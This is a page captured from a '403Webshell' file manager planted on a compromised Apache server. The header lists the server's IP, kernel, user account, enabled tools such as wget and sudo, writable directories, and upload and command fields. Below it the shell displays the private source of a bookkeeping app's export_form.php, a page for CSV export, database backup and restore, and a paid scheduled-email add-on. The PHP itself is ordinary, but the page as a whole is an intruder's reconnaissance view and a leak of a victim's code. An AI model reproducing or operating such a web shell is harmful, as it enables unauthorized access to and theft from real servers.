403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/self-hosted/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/self-hosted/export_form.php
<?php
include 'protect.php';
include 'db.php';
include 'store_settings.php';
require_once __DIR__ . '/qbo_name_map_helpers.php';
require_once __DIR__ . '/scheduled_export_helpers.php';
require_once __DIR__ . '/brand_header.php';
require_once __DIR__ . '/../stripe_checkout_helpers.php';

$selectedMonth = trim((string) ($_GET['month'] ?? date('Y-m')));
$months = [];
$mappingHelp = 'Upload a CSV with the HouseTab Pro customer name in the first column and the matching QuickBooks name in the second column.';
$savedMap = qboNameMapGetMeta($conn);
$scheduleMessage = '';
$scheduleError = '';
$defaultEmail = trim((string) ($_SESSION['account_email'] ?? ''));
$scheduleSettings = scheduledExportSettings($conn, $defaultEmail);
$scheduleAddonEnabled = !empty($scheduleSettings['addon_enabled']);
$centralAddonActive = false;
$isImpersonatingStore = !empty($_SESSION['is_impersonating_store']);
$backupFlash = $_SESSION['export_backup_flash'] ?? null;
unset($_SESSION['export_backup_flash']);

if (!empty($_SESSION['account_id'])) {
    try {
        $centralDb = stripeCentralDb();
        $addonSummary = getStripeAddonSummary($centralDb, (int) $_SESSION['account_id'], 'scheduled_export');
        $addonStatus = strtolower(trim((string) ($addonSummary['billing_status'] ?? '')));

        if ($addonSummary && !in_array($addonStatus, ['canceled', 'cancelled', 'unpaid', 'incomplete_expired'], true)) {
            $centralAddonActive = true;
            if (!$scheduleAddonEnabled) {
                setAppSettingValue($conn, 'scheduled_export_addon_enabled', '1');
                $scheduleSettings = scheduledExportSettings($conn, $defaultEmail);
            }
        }
    } catch (Throwable $e) {
        // Keep the export page usable even if the billing self-heal check cannot run.
    }
}

$scheduleAddonEnabled = $scheduleAddonEnabled || $centralAddonActive;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && (string) ($_POST['action'] ?? '') === 'save_schedule') {
    $scheduleSettings = [
        'addon_enabled' => $scheduleSettings['addon_enabled'] ?? false,
        'enabled' => !empty($_POST['schedule_enabled']),
        'email' => trim((string) ($_POST['schedule_email'] ?? '')),
        'times_per_day' => (int) ($_POST['schedule_times_per_day'] ?? 0),
        'times' => array_values((array) ($_POST['schedule_times'] ?? [])),
        'include_archived' => !empty($_POST['schedule_include_archived']),
        'map_qbo_names' => !empty($_POST['schedule_map_qbo_names']),
        'last_sent_at' => $scheduleSettings['last_sent_at'] ?? '',
        'last_sent_marker' => $scheduleSettings['last_sent_marker'] ?? '',
    ];

    try {
        if (!$scheduleAddonEnabled) {
            throw new RuntimeException('Scheduled email exports are available as a paid add-on.');
        }

        if ($scheduleSettings['enabled']) {
            if (!filter_var($scheduleSettings['email'], FILTER_VALIDATE_EMAIL)) {
                throw new RuntimeException('Please enter a valid email address for scheduled exports.');
            }

            if ($scheduleSettings['times_per_day'] < 1 || $scheduleSettings['times_per_day'] > 5) {
                throw new RuntimeException('Please choose a send frequency between 1 and 5 times per day.');
            }

            if ($scheduleSettings['map_qbo_names'] && empty($savedMap['exists']) && (($_FILES['mapping_file']['error'] ?? UPLOAD_ERR_NO_FILE) === UPLOAD_ERR_NO_FILE)) {
                throw new RuntimeException('Upload a QBO mapping file before turning on mapped scheduled exports.');
            }
        }

        if (($_FILES['mapping_file']['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_NO_FILE) {
            qboNameMapStoreUploadedFile($conn, $_FILES['mapping_file']);
            $savedMap = qboNameMapGetMeta($conn);
        }

        saveScheduledExportSettings($conn, $scheduleSettings);
        $scheduleSettings = scheduledExportSettings($conn, $defaultEmail);
        $scheduleMessage = $scheduleSettings['enabled']
            ? 'Scheduled exports saved. We will email this export at ' . scheduledExportReadableTimes((array) ($scheduleSettings['times'] ?? [])) . '.'
            : 'Scheduled exports are now turned off.';
    } catch (Throwable $e) {
        $scheduleError = $e->getMessage();
    }
}

for ($i = 0; $i < 24; $i++) {
    $months[] = date('Y-m', strtotime("-{$i} months"));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Export to CSV</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 30px;
            background: #f8fafc;
            color: #1f2937;
        }

        .container {
            max-width: 760px;
            margin: 0 auto;
            background: #fff;
            padding: 28px;
            border-radius: 16px;
            box-shadow: 0 12px 32px rgba(15, 23, 42, 0.08);
        }

        .card {
            background: #f8fafc;
            border: 1px solid #e2e8f0;
            border-radius: 14px;
            padding: 20px;
            margin-top: 18px;
        }

        h1 {
            margin-top: 0;
        }

        p {
            color: #475569;
            line-height: 1.6;
        }

        label {
            display: block;
            margin-bottom: 8px;
            font-weight: 700;
        }

        select,
        input[type="file"],
        input[type="email"] {
            width: 100%;
            max-width: 320px;
            padding: 12px 14px;
            border: 1px solid #cbd5e1;
            border-radius: 10px;
            box-sizing: border-box;
            font-size: 15px;
        }

        .checkbox-row {
            margin-top: 16px;
            color: #334155;
        }

        .checkbox-row label {
            display: inline-flex;
            align-items: center;
            gap: 10px;
            font-weight: 500;
            margin-bottom: 0;
        }

        .helper-text {
            margin-top: 10px;
            font-size: 14px;
            color: #64748b;
            line-height: 1.5;
        }

        .saved-map {
            margin-top: 12px;
            padding: 12px 14px;
            background: #eff6ff;
            border: 1px solid #bfdbfe;
            border-radius: 10px;
            color: #1d4ed8;
            font-size: 14px;
        }

        .msg {
            margin-top: 16px;
            padding: 12px 14px;
            border-radius: 10px;
        }

        .msg.ok {
            background: #ecfdf5;
            border: 1px solid #86efac;
            color: #166534;
        }

        .msg.err {
            background: #fef2f2;
            border: 1px solid #fca5a5;
            color: #991b1b;
        }

        .msg.warn {
            background: #fff7ed;
            border: 1px solid #fdba74;
            color: #9a3412;
        }

        .two-col {
            display: grid;
            grid-template-columns: repeat(2, minmax(0, 1fr));
            gap: 16px 22px;
        }

        .badge {
            display: inline-block;
            margin-left: 10px;
            padding: 5px 10px;
            border-radius: 999px;
            font-size: 12px;
            font-weight: 800;
            text-transform: uppercase;
            letter-spacing: 0.03em;
            background: #dbeafe;
            color: #1d4ed8;
        }

        .addon-lock {
            background: #fff7ed;
            border: 1px solid #fdba74;
            color: #9a3412;
        }

        .addon-lock strong {
            color: #7c2d12;
        }

        .preview-disabled {
            margin-top: 16px;
            padding: 14px;
            border: 1px dashed #cbd5e1;
            border-radius: 10px;
            background: #f8fafc;
            opacity: 0.62;
        }

        .preview-disabled .preview-grid {
            display: grid;
            grid-template-columns: repeat(2, minmax(0, 1fr));
            gap: 14px 18px;
            margin-top: 12px;
        }

        .preview-disabled label {
            font-weight: 700;
        }

        .preview-disabled input[type="email"],
        .preview-disabled select,
        .preview-disabled input[type="time"] {
            width: 100%;
            max-width: 320px;
            padding: 12px 14px;
            border: 1px solid #cbd5e1;
            border-radius: 10px;
            box-sizing: border-box;
            font-size: 15px;
            background: #e2e8f0;
            color: #475569;
        }

        .cta-danger {
            background: #b91c1c;
        }

        .cta-danger:hover {
            background: #991b1b;
        }

        .times-grid {
            display: grid;
            grid-template-columns: repeat(2, minmax(0, 1fr));
            gap: 14px 18px;
            margin-top: 16px;
        }

        .time-input-wrap {
            display: flex;
            flex-direction: column;
        }

        .time-input-wrap input[type="time"] {
            width: 100%;
            max-width: 220px;
            padding: 12px 14px;
            border: 1px solid #cbd5e1;
            border-radius: 10px;
            box-sizing: border-box;
            font-size: 15px;
        }

        .btn {
            display: inline-block;
            margin-top: 20px;
            padding: 12px 18px;
            background: #2563eb;
            color: #fff;
            text-decoration: none;
            border: none;
            border-radius: 10px;
            font-size: 15px;
            font-weight: 700;
            cursor: pointer;
        }

        .btn:hover {
            background: #1d4ed8;
        }

        .back-link {
            display: inline-block;
            margin-top: 18px;
            color: #2563eb;
            text-decoration: none;
        }

        @media (max-width: 700px) {
            .two-col {
                grid-template-columns: 1fr;
            }

            .preview-disabled .preview-grid {
                grid-template-columns: 1fr;
            }

            .times-grid {
                grid-template-columns: 1fr;
            }
        }
    </style>
    <?php echo appBrandStyles(); ?>
</head>
<body>
<div class="container">
    <?php renderAppBrandHeader(); ?>
    <h1>Export Transactions to CSV</h1>
    <p>Choose the month you want to export. The CSV will include matching live and archived transactions for that month so you can review or import them elsewhere.</p>

    <form method="post" action="export_csv.php" enctype="multipart/form-data" class="card">
        <label for="month">Month to Export</label>
        <select name="month" id="month" required>
            <?php foreach ($months as $month): ?>
                <option value="<?php echo htmlspecialchars($month, ENT_QUOTES, 'UTF-8'); ?>" <?php echo $month === $selectedMonth ? 'selected' : ''; ?>>
                    <?php echo htmlspecialchars(date('F Y', strtotime($month . '-01')), ENT_QUOTES, 'UTF-8'); ?>
                </option>
            <?php endforeach; ?>
        </select>

        <div class="checkbox-row">
            <label>
                <input type="checkbox" name="include_archived" value="1" checked>
                Include archived transactions from that month too
            </label>
        </div>

        <div class="checkbox-row">
            <label>
                <input type="checkbox" name="map_qbo_names" value="1">
                Map to QBO customer names
            </label>
        </div>

        <div style="margin-top:16px;">
            <label for="mapping_file">QBO Name Mapping File</label>
            <input type="file" id="mapping_file" name="mapping_file" accept=".csv,text/csv">
            <div class="helper-text">
                <?php echo htmlspecialchars($mappingHelp, ENT_QUOTES, 'UTF-8'); ?>
            </div>
            <?php if (!empty($savedMap['exists'])): ?>
                <div class="saved-map">
                    Saved file:
                    <strong><?php echo htmlspecialchars($savedMap['original_name'] !== '' ? $savedMap['original_name'] : 'Saved QBO mapping file', ENT_QUOTES, 'UTF-8'); ?></strong>
                    <?php if (!empty($savedMap['saved_at']) && strtotime((string) $savedMap['saved_at']) !== false): ?>
                        <br>Saved on <?php echo htmlspecialchars(date('F j, Y g:i A', strtotime((string) $savedMap['saved_at'])), ENT_QUOTES, 'UTF-8'); ?>
                    <?php endif; ?>
                    <br>Leave the upload box empty next time if you want to reuse this saved mapping.
                </div>
            <?php endif; ?>
        </div>

        <button type="submit" class="btn">Download CSV</button>
        <a href="download_database_backup.php" class="btn" style="margin-left:10px;background:#0f766e;">Download Database Backup</a>
    </form>

    <form method="post" action="restore_database_backup.php" enctype="multipart/form-data" class="card">
        <h2 style="margin-top:0;">Restore Database Backup</h2>
        <p>Upload a HouseTab Pro SQL backup for this store to restore its data. This only restores the current store database and cannot be used across stores.</p>

        <?php if (is_array($backupFlash) && !empty($backupFlash['message'])): ?>
            <div class="msg <?php echo ($backupFlash['type'] ?? '') === 'ok' ? 'ok' : 'err'; ?>">
                <?php echo htmlspecialchars((string) $backupFlash['message'], ENT_QUOTES, 'UTF-8'); ?>
            </div>
        <?php endif; ?>

        <div class="msg warn">
            This will overwrite the current store database. A temporary safety snapshot is created first, and the app will try to roll back automatically if the uploaded backup fails.
        </div>

        <div style="margin-top:16px;">
            <label for="restore_backup_file">Backup File</label>
            <input type="file" id="restore_backup_file" name="restore_backup_file" accept=".sql,.gz,.sql.gz,text/plain,application/gzip" required>
            <div class="helper-text">Use a backup created from HouseTab Pro, usually a <code>.sql</code> or <code>.sql.gz</code> file.</div>
        </div>

        <div style="margin-top:16px;">
            <label for="confirm_restore_text">Type RESTORE to Confirm</label>
            <input type="text" id="confirm_restore_text" name="confirm_restore_text" placeholder="RESTORE" style="width:100%;max-width:320px;padding:12px 14px;border:1px solid #cbd5e1;border-radius:10px;box-sizing:border-box;font-size:15px;" required>
        </div>

        <button type="submit" class="btn" style="background:#b91c1c;" onclick="return confirm('Restore this store database from the uploaded backup? This will overwrite the current data.');">Restore Database Backup</button>
    </form>

    <form method="post" enctype="multipart/form-data" class="card">
        <input type="hidden" name="action" value="save_schedule">
        <h2 style="margin-top:0;">Scheduled Email Exports <span class="badge">Paid Add-On</span></h2>
        <p>Manual CSV export stays available any time. Scheduled email exports are a separate paid add-on for stores that want automatic deliveries.</p>

        <?php if ($scheduleMessage !== ''): ?>
            <div class="msg ok"><?php echo htmlspecialchars($scheduleMessage, ENT_QUOTES, 'UTF-8'); ?></div>
        <?php endif; ?>

        <?php if ($scheduleError !== ''): ?>
            <div class="msg err"><?php echo htmlspecialchars($scheduleError, ENT_QUOTES, 'UTF-8'); ?></div>
        <?php endif; ?>

        <?php if (!$scheduleAddonEnabled): ?>
            <div class="saved-map addon-lock">
                <strong>Scheduled email exports are available as a paid add-on.</strong>
                <br>Add this feature for automatic emailed CSV exports up to 5 times per day.
                <br><strong>$7/month</strong> per hosted store.

                <div class="preview-disabled">
                    <div style="font-weight:700;color:#475569;">Preview of scheduled export settings</div>
                    <div class="preview-grid">
                        <div>
                            <label>Send To Email</label>
                            <input type="email" value="<?php echo htmlspecialchars((string) ($scheduleSettings['email'] ?: $defaultEmail), ENT_QUOTES, 'UTF-8'); ?>" disabled>
                        </div>
                        <div>
                            <label>How Many Times Per Day</label>
                            <select disabled>
                                <option selected>Choose up to 5 send times</option>
                            </select>
                        </div>
                    </div>
                    <div class="preview-grid">
                        <div>
                            <label>Send Time 1</label>
                            <input type="time" value="09:00" disabled>
                        </div>
                        <div>
                            <label>Send Time 2</label>
                            <input type="time" value="14:00" disabled>
                        </div>
                    </div>
                    <div class="checkbox-row">
                        <label><input type="checkbox" checked disabled> Include archived transactions in scheduled exports</label>
                    </div>
                    <div class="checkbox-row">
                        <label><input type="checkbox" disabled> Apply saved QBO name mapping before emailing</label>
                    </div>
                </div>

                <div style="margin-top:14px;">
                    <?php if ($isImpersonatingStore): ?>
                        <span class="btn cta-danger" style="opacity:.92;cursor:not-allowed;">Paid Add-On - $7/month</span>
                    <?php else: ?>
                        <a class="btn cta-danger" href="start_scheduled_export_addon_checkout.php">Paid Add-On - $7/month</a>
                    <?php endif; ?>
                </div>
            </div>
        <?php else: ?>
            <div class="msg ok" style="margin-top:16px;">
                Scheduled email exports are active for this store.
            </div>
            <div class="checkbox-row">
                <label>
                    <input type="checkbox" name="schedule_enabled" value="1" <?php echo !empty($scheduleSettings['enabled']) ? 'checked' : ''; ?>>
                    Turn on scheduled export emails
                </label>
            </div>

                <div class="two-col" style="margin-top:16px;">
                    <div>
                        <label for="schedule_email">Send To Email</label>
                    <input type="email" id="schedule_email" name="schedule_email" value="<?php echo htmlspecialchars((string) ($scheduleSettings['email'] ?? ''), ENT_QUOTES, 'UTF-8'); ?>" placeholder="you@example.com">
                </div>
                <div>
                    <label for="schedule_times_per_day">How Many Times Per Day</label>
                    <select name="schedule_times_per_day" id="schedule_times_per_day">
                        <option value="0" <?php echo (int) ($scheduleSettings['times_per_day'] ?? 0) === 0 ? 'selected' : ''; ?>>Do not send</option>
                        <?php for ($i = 1; $i <= 5; $i++): ?>
                            <option value="<?php echo $i; ?>" <?php echo (int) ($scheduleSettings['times_per_day'] ?? 0) === $i ? 'selected' : ''; ?>>
                                <?php echo $i; ?> time<?php echo $i === 1 ? '' : 's'; ?> per day
                            </option>
                        <?php endfor; ?>
                    </select>
                </div>
            </div>

            <div class="times-grid">
                <?php
                    $savedTimes = array_values((array) ($scheduleSettings['times'] ?? []));
                    for ($i = 0; $i < 5; $i++):
                        $timeValue = $savedTimes[$i] ?? (scheduledExportDefaultTimes($i + 1)[$i] ?? '');
                ?>
                    <div class="time-input-wrap">
                        <label for="schedule_time_<?php echo $i; ?>">Send Time <?php echo $i + 1; ?></label>
                        <input
                            type="time"
                            id="schedule_time_<?php echo $i; ?>"
                            name="schedule_times[]"
                            value="<?php echo htmlspecialchars($timeValue, ENT_QUOTES, 'UTF-8'); ?>"
                        >
                    </div>
                <?php endfor; ?>
            </div>
            <div class="helper-text">Choose the times you want these export emails to go out. Only the first selected number of times per day will be used.</div>

            <div class="checkbox-row">
                <label>
                    <input type="checkbox" name="schedule_include_archived" value="1" <?php echo !empty($scheduleSettings['include_archived']) ? 'checked' : ''; ?>>
                    Include archived transactions in scheduled exports
                </label>
            </div>

            <div class="checkbox-row">
                <label>
                    <input type="checkbox" name="schedule_map_qbo_names" value="1" <?php echo !empty($scheduleSettings['map_qbo_names']) ? 'checked' : ''; ?>>
                    Apply saved QBO name mapping before emailing
                </label>
            </div>

            <div style="margin-top:16px;">
                <label for="schedule_mapping_file">Replace Saved QBO Mapping File</label>
                <input type="file" id="schedule_mapping_file" name="mapping_file" accept=".csv,text/csv">
                <div class="helper-text">Upload a new mapping file here if you want scheduled exports to use a different saved QBO map.</div>
            </div>

            <div class="saved-map" style="margin-top:16px;">
                Scheduled sends:
                <strong>
                    <?php echo !empty($scheduleSettings['times']) ? htmlspecialchars(scheduledExportReadableTimes((array) $scheduleSettings['times']), ENT_QUOTES, 'UTF-8') : 'Not scheduled'; ?>
                </strong>
                <br>Last sent:
                <strong>
                    <?php echo !empty($scheduleSettings['last_sent_at']) ? htmlspecialchars((string) $scheduleSettings['last_sent_at'], ENT_QUOTES, 'UTF-8') : 'Not sent yet'; ?>
                </strong>
            </div>

            <button type="submit" class="btn">Save Export Schedule</button>
        <?php endif; ?>
    </form>

    <a href="index.php" class="back-link">&larr; Back to Dashboard</a>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit